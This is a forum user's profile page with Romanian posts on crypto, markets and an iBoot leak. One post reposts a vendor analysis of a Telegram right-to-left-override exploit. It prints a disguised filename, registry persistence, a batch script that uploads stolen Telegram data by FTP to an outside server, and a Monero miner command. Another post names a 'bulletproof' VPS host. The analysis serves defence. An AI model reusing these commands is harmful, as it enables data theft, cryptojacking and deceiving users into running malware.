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usrnm

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usrnm last won the day on February 9

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About usrnm

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  1. Eu cred ca nu aveau 18 milioane, asa umfla astia "preturile", sa para arestarea mai pompoasa si sa isi justifice si ei resursele..acum vreo 2 saptamani citeam ca olandezii, sau nu mai stiu care, au dat jos un webstresser, erau niste pusti de 19 ani care se laudau pe Facebook de ce grozavie fac. Atat se umflau in pene, de parca au prins spioni rusi. Pe de alta parte, daca in hartii sunt trecuti 18 milioane, 2-3 tot au facut pe bune, era suficient sa isi vada de treaba, dar romanul lacom...
  2. A fost baiat istet de mic! 😉
  3. usrnm

    VPS bulletproof

    shinjiru, cu toate ca prin review-uri multi se plang ca nu sunt foarte fiabili (nu am incercat, spun din auzite)
  4. S-ar putea sa avem cunostinte comune, doar ca nu mai stiam nimic de el de cativa ani, ca are companie de telefoane si e ok. Constantean?
  5. usrnm

    HOF telecom ITALY

    Italieni zgarciti...macar un sim puteau sa dea si ei ca nu ii durea mana, asa, ca gest...
  6. E o intrebare pe care mi-am pus-o si eu. Foarte multi au cumparat btc sau alte monede. (unii au facut si credite la banca, dar asta e o alta poveste...) Toti spun chestii de genul, ¨daca ii scoteam acum x timp as fi avut nu stiu ce castig¨, dar inca nu l-am intalnit si pe unul care sa spuna ca a scos de o ciorba cel putin (mancata si digerata deja, nu doar ipotetic).... Totul se invarte in jurul lui ¨daca¨....
  7. Sursa: https://securelist.com/zero-day-vulnerability-in-telegram/83800/ The special nonprinting right-to-left override (RLO) character is used to reverse the order of the characters that come after that character in the string. In the Unicode character table, it is represented as ‘U+202E’; one area of legitimate use is when typing Arabic text. In an attack, this character can be used to mislead the victim. It is usually used when displaying the name and extension of an executable file: a piece of software vulnerable to this sort of attack will display the filename incompletely or in reverse. Launching an attack on Telegram Below is an account of how this vulnerability was exploited in Telegram: The cybercriminal prepares the malware to be sent in a message. For example, a JS file is renamed as follows: evil.js -> photo_high_re*U+202E*gnp.js Where *U+202E* is the RLO character to make Telegram display the remaining string gnp.js in reverse. Note that this operation does not change the actual file – it still has the extension *.js. The attacker sends the message, and – surprise! – the recipient sees an incoming PNG image file instead of a JS file: When the user clicks on this file, the standard Windows security notification is displayed: Importantly, this notification is only displayed if it hasn’t been disabled in the system’s settings. If the user clicks on ‘Run’, the malicious file is launched. Exploitation in the wild After learning the vulnerability, we began to research cases where it was actually exploited. These cases fall into several general scenarios. Remote control The aim of this sort of attack is to take control of the victim’s system, and involves the attacker studying the target system’s environment and the installation of additional modules. Attack flowchart At the first stage, a downloader is sent to the target, which is written in .Net, and uses Telegram API as the command protocol: With this token and API, it is easy to find the Telegram bot via which the infected systems are controlled: When launched, it modifies startup registry key to achieve persistence on a system and copies its executable file into one of the directories, depending on the environment: Then it begins to check every two seconds for commands arriving from the control bot. Note that the commands are implemented in Russian: The list of supported commands shows that the bot can silently deploy arbitrary malicious tools like backdoors, loggers and other malware on the target system. A complete list of supported commands is given below: Command (English translation) Function “Онлайн (“Online) Send list of files in directory to control bot. “Запус (“Launch) Launch executable file using Process.Start(). “Логгер (“Logger) Check if tor process is running, download logg.zip, unpack it, delete the archive and launch its content. “Скачать (“Download) Download file into its own directory. “Удалить (“Delete) Delete file from its own directory. “Распаковать (“Unpack) Unpack archive in its own directory using specified password. Убить (Kill) Terminate specified process using process.Kill() Скачат (Download) Same as ‘Download’ (see above), with different command parsing. Запуск (Launch) Same as ‘Launch’ (see above), with different command parsing. Удалить (Delete) Same as ‘Delete’ (see above), with different command parsing. Распаковать (Unpack) Same as ‘Unpack’ (see above), with different command parsing. Процессы (Processes) Send a list of commands running on target PC to control bot. An analysis of these commands shows that this loader may be designed to download another piece of malware, possibly a logger that would spy on the victim user. Miners and more Amid the cryptocurrency boom, cybercriminals are increasingly moving away from ‘classic robbery’ to a new method of making money from their victims – namely mining cryptocurrency using the resources of an infected computer. All they have to do is run a mining client on the victim computer and specify the details of their cryptocurrency wallet. Scenario #1 Attack flowchart At the first stage of the attack, an SFX archive with a script is used that launches an executable file: Path=%temp%\adr Setup=%temp%\adr\run.exe Silent=1 Overwrite=2 This run.exe file is in fact a BAT file. The batch script, after extraction, looks like this: As we can see, the malicious program first opens a decoy file – in this case it is an image to lull the victim into a false sense of security. Then, two miners launch one after the other. They are launched as services with the help of the nssm.exe utility, which is also contained in the same SFX archive. nheq.exe: an Equihash miner for NiceHash (in this specific case, it mined Zcash). Can use the resources of both the CPU and graphics accelerator: taskmgn.exe – another popular miner implementing the CryptoNight algorithm. It mines Fantomcoin and Monero. There is a known specific string with pdb path: We have seen several versions of this batch script, some of which have extra features: This specific version disables Windows security features, then logs on to a malicious FTP server, downloads a payload and launches it. In this case, the payload was an SFX archive that contains another miners and a Remote Manipulator System (RMS) client, an analog of TeamViewer. Using AutoIt scripts, the malware deploys RMS on the targeted computer for subsequent remote access: The attack flowchart is approximately as follows: We have examined this FTP server and found several more similar payloads, which are possibly loaded by other versions of this malware. The file address4.exe is worthy of a special mention. Like the other files, it is an SFX archive with the following contents: All components named st*.exe are executable PE files converted in a similar way from batch scripts. The SFX script launches the component st1.exe: Path=%temp%/adress Setup=%temp%/adress/st1.exe Silent=1 Overwrite=2 st1.exe adds st2.exe to the system startup by writing the appropriate record to the system registry: reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v RUN1 /d %temp%\adress\st2.exe /f So the st2.exe file launches when system is booted next time: TIMEOUT /T 10 /NOBREAK #Waits for Telegram to launch chcp 1251 tskill telegram taskkill /IM telegram.exe #Terminates Telegram processes md %temp%\sss cd %temp%\sss #Creates a temporary directory “%temp%\adress\WinRAR.exe” A -ibck -inul -r -agYY-mm-dd-hh-mm-ss “%temp%\sss\1.rar” “%appdata%\Telegram Desktop” #Packs the Telegram directory into a RAR archive TIMEOUT /T 60 /NOBREAK :begin ping -n 1 ya.ru |>nul find /i “TTL=” && (start “” %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Checks Internet connection and launches st3.exe As expected, st3.exe logs on to the malicious FTP server and uploads the RAR archive that was created earlier: @echo XXXXXXXX>command.txt @echo XXXXXXXX>>command.txt @echo binary>>command.txt @echo mput %temp%\sss\*.rar>>command.txt @echo quit>>command.txt ftp -s:command.txt -i free11.beget.com del command.txt attrib %temp%/adress +H attrib %temp%/adress\* +H On that FTP server, we discovered several archives of this type containing Telegram directories stolen from the victims: Each dump contains, as well as the Telegram client’s executables and utility files, an encrypted local cache containing different files used in personal communications: documents, videos and audio records and photos. Scenario #2 Just like in the previous scenario, an attack starts with an SFX archive opening and launching a VBScript that it contains. Its main job is to open a decoy image to distract the user, and then download and launch the payload: The payload is an SFX archive with the following script: svchost.vbs is a script controlling the launch of the miner CryptoNight (csrs.exe). It monitors the task list; if it detects a task manager (taskmgr.exe, processhacker.exe) on that list, it terminates the miner’s process and re-launches it when the task manager is closed. The script contains the appropriate comments: The miner itself is launched as follows: WshShell.Run “csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0 The pool address is associated with the cryptocurrency Monero. On the server itself, in addition to the specified payload files, we found similar SFX archives with miners:
  8. Asian shares sank on Friday, with Chinese equities on track for their worst day in two years, as fears of higher U.S. interest rates shredded global investor confidence. The Shanghai Composite Index tumbled 6.0 percent to its lowest since May 2017, and the blue chip CSI300 index dived as 6.1 percent. Both indexes were on track for their largest single-day losses since February 2016. Frank Benzimra, head of Asia equity strategy at Societe Generale in Hong Kong, said Chinese shares slid mostly because of the U.S. correction but he had some China-specific worries. He said he now is neutral on China equities “due to two concerns: valuations on China-consumer related industries and execution risks on deleveraging (more specifically financial deleveraging)”. Japan’s Nikkei shed 2.9 percent, en route for a weekly loss of 8.6 percent - its biggest since February 2016. MSCI’s broadest index of Asia-Pacific shares outside Japan dropped 2.2 percent to a two-month low. The index, which hit a record high on Jan. 29, was on track for its sixth straight day of losses and stood to fall 7.6 percent on the week. Mai multe: https://www.reuters.com/article/us-global-markets/asia-hit-by-wall-sts-tumble-china-stock-indexes-lose-6-percent-idUSKBN1FT01T?feedType=RSS&feedName=businessNews Din punctul meu de vedere, "ciudatenia" care s-a intamplat la bursa din SUA va avea un impact international mai mare in viitorul apropiat, dar nici sa o dam in paranoia...
  9. Someone just posted what experts say is the source code for a core component of the iPhone’s operating system on GitHub, which could pave the way for hackers and security researchers to find vulnerabilities in iOS and make iPhone jailbreaks easier to achieve. The GitHub code is labeled “iBoot,” which is the part of iOS that is responsible for ensuring a trusted boot of the operating system. In other words, it’s the program that loads iOS, the very first process that runs when you turn on your iPhone. It loads and verifies the kernel is properly signed by Apple and then executes it—it’s like the iPhone’s BIOS. “This is the biggest leak in history,” Jonathan Levin, the author of a series of books on iOS and Mac OSX internals, told me in an online chat, referring to Apple's history. “It’s a huge deal.” Update, February 8, 08:27 a.m.: Apple filed a copyright takedown request with GitHub and forced the company to remove the code. Sursa: https://motherboard.vice.com/en_us/article/a34g9j/iphone-source-code-iboot-ios-leak
  10. usrnm

    Pentetrarea Romania

    si ce treaba are asta cu Wireless Pentesting? Macovei le are cu trasu' la masea, nu cu pentesting-ul
  11. usrnm

    Ceva mineri de bitcoin pe aici?

    Daca e "bazata" in Olanda, inseamna ca puntem sa ne bazam si noi pe ea?
  12. usrnm

    RST Dead?

  13. Tu chiar ti-ai etalat inteligenta acum, felicitari, treci la loc in banca! P.S (ca vad ca iti place cu P.S, suna cult probabil pentru tine... ): ai dreptate, p-aici se invart oameni slab pregatiti care nu sunt luati in seama de cei din jur, norocul nostru e cand mai apare unul ca tine sa ne lumineze!
  14. Asta e moda pentru ca e femeie? WTF? In cazul asta ma bucur de faptul ca sunt de moda veche...mai ramanea sa spui ca unele, pe langa faptul ca sunt "doxa de cunostinte", au si Bemveu, nu doar afaceri. Traim in lumi paralele, din fericire pentru amandoi
  15. eu ma refeream ca pitipoanca pare prea proasta sa duca la bun sfarsit o asa "operatiune" si nu vad finalitatea, stiu ca se fac chestii d-astea, sunt recunoscuti ungurii care de-a lungul istoriei au reusit sa infiltreze in multe cercuri inalte agente , dar pentru ametiti ca astia sa faci scheme de spionaj, nu stiu ce sa zic....dar daca voi spuneti, va cred pe cuvand... @Mike.01, din moment ce te pozezi cu buzele tuguiate si buricu' la vedere, eticheta ti-o pui singur,nu o pun ceilalti, fie ei si limitati frustrati...
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